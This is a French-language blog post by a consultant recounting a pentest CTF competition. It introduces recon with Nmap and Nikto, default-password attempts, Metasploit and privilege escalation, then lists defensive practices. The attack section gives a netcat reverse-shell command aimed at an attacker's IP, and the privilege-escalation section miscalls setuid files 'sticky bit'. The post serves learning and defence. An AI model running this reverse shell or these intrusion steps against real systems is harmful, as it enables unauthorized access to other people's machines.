Comment faire ses premiers pas dans le Pentest ?

Introduction

J'ai participé il y a peu à une compétition de pentest, organisée par le groupe d'experts en sécurité Wizlynx.

Le pentest (de Penetration Testing, test d'intrusion en Français) est une discipline de la sécurité informatique qui vise à trouver et exploiter des failles sur un système informatique donné. Soit dans un contexte professionel, dont le but est de fournir un rapport détaillé des trous de sécurité informatique d'une entreprise. Soit dans un contexte de compétition ou de divertissement, ou le but peut-être à la fois de l'apprentissage, soit de gagner des prix.

Voici le lien explicatif de l'événement auquel j'ai participé: https://www.wizlynxgroup.com/pwntilldawn-ctf/

Chacun des participant à eu une place assignée, des identifiants pour se connecter au réseau Wifi ainsi qu'a la plateforme de comptage des points. On nous donne une plage d'adresses IP des machines virtuelles qu'il va falloir faire tomber, et c'est parti ! On doit récupérer des "flags" dans les machines cibles et les rentrer dans la plateforme de comptage de points pour valider qu'on est bien entré dans la machine. (exemple d'un flag: "gBLoqtPimuZi8xoEeCebAXEPHj3LMevG") Il peut y avoir plusieurs flags dans une machine, pour représenter les différents niveaux de privilèges qu'on a réussi (ou pas) à atteindre. Toute les heures, les machines sont réinitialisées, pour éviter que certains casse des choses en étant admin. Et tout cela pendant 10 heures non-stop, le gagnant étant évidement celui qui remporte le plus de points.

Comment faire ses premiers pas dans le pentest

Recon

La première étape, c'est de découvrir qu'est-ce qu'on a en face de nous, c'est ce qu'on appelle la phase de "Recon" en Anglais, ou d'"Énumération" en Français. Pour ça, on utilise un programme nommé Nmap, qui va nous permettre de faire un très grand nombre de scans différents. On commence par un scan de plage réseau pour lister les machines disponibles (ou en tout cas celles qui sont visibles). Une fois qu'on a les adresses IP à cibler, on commence par créer un fichier de note par machine. Cela va grandement nous aider quand on sera bloqué et qu'il faudra faire machine arrière pour trouver d'autres pistes. Nmap peut aussi essayer de déterminer le système d'exploitation de chaque machines, mais aussi la version du système, on le prends en note.

Cette fois ci, pour chaque machine on va lister les ports étants ouverts sur la machine, encore une fois en utilisant Nmap. On note pour chaque machine la liste des ports et on annote les possibles services pouvant se trouver derrière chaque port. Encore une fois, Nmap peut essayer de déterminer quel service (ainsi que sa version) se trouve derrière chaque port. (par exemple sur le port 80, est-ce Apache ou Nginx ?) On oublie pas de noter tout ça, et on continue.

Dans tous ces ports ouverts, il y a de forte chance d'avoir quelques pages web et quelques serveurs SSH Une bonne pratique ici, c'est de commencer simplement par essayer de se connecter en SSH sur tous les ports 22 ouverts mais aussi sur les ports 80 et 443 pour débusquer d'éventuels multiplexage de protocoles. Parfois, les messages d'accueil sont modifiés et on peut par exemple connaitre le nom du propriétaire ou récupérer une adresse email. On note ce qu'on trouve.

Ensuite on va aller visiter les différentes pages web et prendre des notes sur ce qu'on y trouve: Est-ce que c'est un Wordpress ? Est-ce qu'il y a une zone d'authentification ? On regarde un peu le code source de la page. Est-ce qu'il y a des commentaires ou des identifiants qui trainent par mégarde ? Est-ce qu'il y a des numéros de version de CRM ou autre ? Est-ce qu'une balise PHP se balade toute seule ? On note TOUT.

À la fois sur le SSH et sur les pages web avec de l'authentification, on essaye les mots de passes triviaux (admin:admin, admin:password, ...), ça coute rien d'essayer.

Ensuite, on va lancer Nikto, qui est un outil qui va tester un très grand nombre de vulnérabilités de manière intelligente et répertorier des ouvertures potentielles dans le site qu'on va lui donner en paramètre. La procédure est assez longue, pendant ce temps, avec les différents numéros de versions qu'on a réussi à extraire, on peut commencer par vérifier dans des banque d'exploits, si une vulnérabilité connue est répertoriée. Si oui, alors on peut lancer Metasploit et tenter une attaque. Sinon, on continue à chercher.

Il faut savoir qu'il existe des solution qui automatise la casi-totalité de ce qu'on vient de faire, mais qu'elles sont souvent interdites en compétition.

L'attaque

Le but de cette phase, est d'accéder à un shell sur la machine cible. Le plus souvent on va passer par un reverse shell, c'est en fait la machine cible qui va demander à se connecter à la notre, qu'on va préparer pour accepter les connections. Et une fois la connexion établie, on peut l'utiliser pour communiquer directement avec la cible. Il y a un grand nombre de methode pour ouvrir un reverse shell, celle à utiliser dépend de l'endroit ou l'on va injecter la commande.

Si cela ce fait avec Metasploit, rien a faire, il s'en charge tout seul, il suffit de lui donner notre IP et le numéro du port sur lequel on veut que la cible se connecte. Mais si par exemple on arrive a injecter une commande dans un shell distant (grace à un exploit du site par exemple), on peut essayer d'utiliser la commande nc On prépare au préalable notre machine d'attaque: nc -p <port d'écoute> -l Et sur la machine cible: nc <ip de l'attaquant> <port de d'écoute de l'attaquant> -e /bin/sh

On peut maintenant taper des commandes depuis notre terminal on l'on à ouvert la connexion.

Si cela ne fonctionne pas, il reste toujours l'attaque par dictionnaire, ou encore le bruteforce afin de trouver un mot de passe utilisateur, mais cela reste peu rentable.

Escalade de privilèges

Une fois connecté, on va certainement arriver dans un shell utilisateur, donc non privilégié. Notre objectif va être de monter les échelon pour accéder au compte root.

La première chose à faire est de taper la commande id afin de savoir à quel utilisateur on a réussi à accéder, et de quels groupes il fait partie. On peut directement noter ça. Suite à cela, on va vouloir lister les fichiers appartenant à cet utilisateur.

find / -user $USER

Ensuite, essayer d'aller regarder les logs du serveur, cela peut être utile si jamais des informations sensibles y traine.

Il est aussi toujours intéressant de regarder si il existe des fichiers ayant un "sticky bit". Ces fichiers ont la propriété d'être exécutés au nom de leurs propriétaire.

find / -perm +1000 va chercher tout fichier possédant cette propriété. Si on trouve un binaire intéressant, on va souvent essayer de l'utiliser pour aller écrire à un endroit où notre utilisateur n'a pas d'accès mais le propriétaire de l'exécutable oui.

Si l'on a réussi à extraire le mot de passe d'un utilisateur, par bruteforce ou autre, on peut toujours l'essayer sur d'autres utilisateurs. De la même manière, si l'utilisateur courant est dans le groupe sudo ou wheel, vous pouvez devenir root directement avec sudo -i.

Je ne peux plus trop détailler d'autres méthodes d'attaque et d'intrusion, car cela dépend beaucoup des machines et des épreuves. Mais avec ces bases, vous pouvez déjà tenter d'affronter quelques petites épreuves sur Hack The Box par exemple.

Je vous conseil de vous procurer en version papier ou électronique, le Red Team Field Manual, par Ben Clark, il résume parfaitement les outils nécessaire au pentest.

Bonnes pratiques de sécurité

Maintenant qu'on a vu comment un attaquant s'y prend pour rentrer dans une installation, on va détailler deux trois points afin de se protéger de tout cela.

  • Première chose, mettre à jour régulièrement les machines, les failles non patchées sont une grande cause d'intrusion.
  • Faire des backup des différentes installations, un cryptolocker ça peut arriver à n'importe qui.
  • Mettre en place pour soi-même et ses utilisateurs, une gestion automatisée des mots de passe (pas toujours facile à mettre en place pour ses utilisateurs).
  • Ne surtout pas utiliser de compte administrateur pour vos activités quotidienne (même avec sudo) ! De manière générale, appliquer le principe du moindre privilège.
  • Désactiver l'authentification par mot de passe sur le serveur SSH, et n'utiliser que des clés SSH.
  • Mettre en place des protocoles de sécurité au niveau humain. Une seule personne ne doit pas pouvoir casser la totalité de l'infrastructure ou accéder à des informations trop sensibles.
  • Mettre en place des outils de prévention, comme un pare-feu, des listes blanches, des certificats utilisateurs, du chiffrement de bout en bout, des cages logicielles comme AppArmor ou SELinux etc
  • Et comme un système n'est jamais sécurisé à 100%, une intrusion arrivera à un moment ou à un autre, pour cela, il est bon de mettre en place des outils de détection d'intrusion afin de pouvoir réagir au plus vite. Il y a par exemple des outils d'écoute des fichiers de logs, de détection de Rootkit, etc

Conclusion

Ce n'était pas le premier événement auquel j'ai pu participer, mais c'est le seul avec une remise de prix à la clé.

Ce fut très intéressant et divertissant, il y a un réel esprit de jeu dans ce genre d'événements. Cela m'a aussi permit de discuter avec les organisateurs de l'événement, les pentesters de chez Wizlynx, et cela a été très enrichissant. Nous avons pu par exemple echanger sur le sujet de la veille technologique, qui est primordiale dans ce domaine. Et un peu à la manière de Versusmind lors d'interprojets, ils peuvent faire de la veille entre deux missions (bien que leurs missions soit plus de l'ordre de la semaine) ou suivre des présentations faites par leurs collègues.

Depuis le confinement il est maintenant plus compliqué de participer à des événements de ce genre en présentiel mais il existe un bon nombre de plateformes web qui permette de faire du pentest récréatif à distance.

Voici deux des plus connus :

HackTheBox

RootMe

Nicolas Ballet

Consultant Versusmind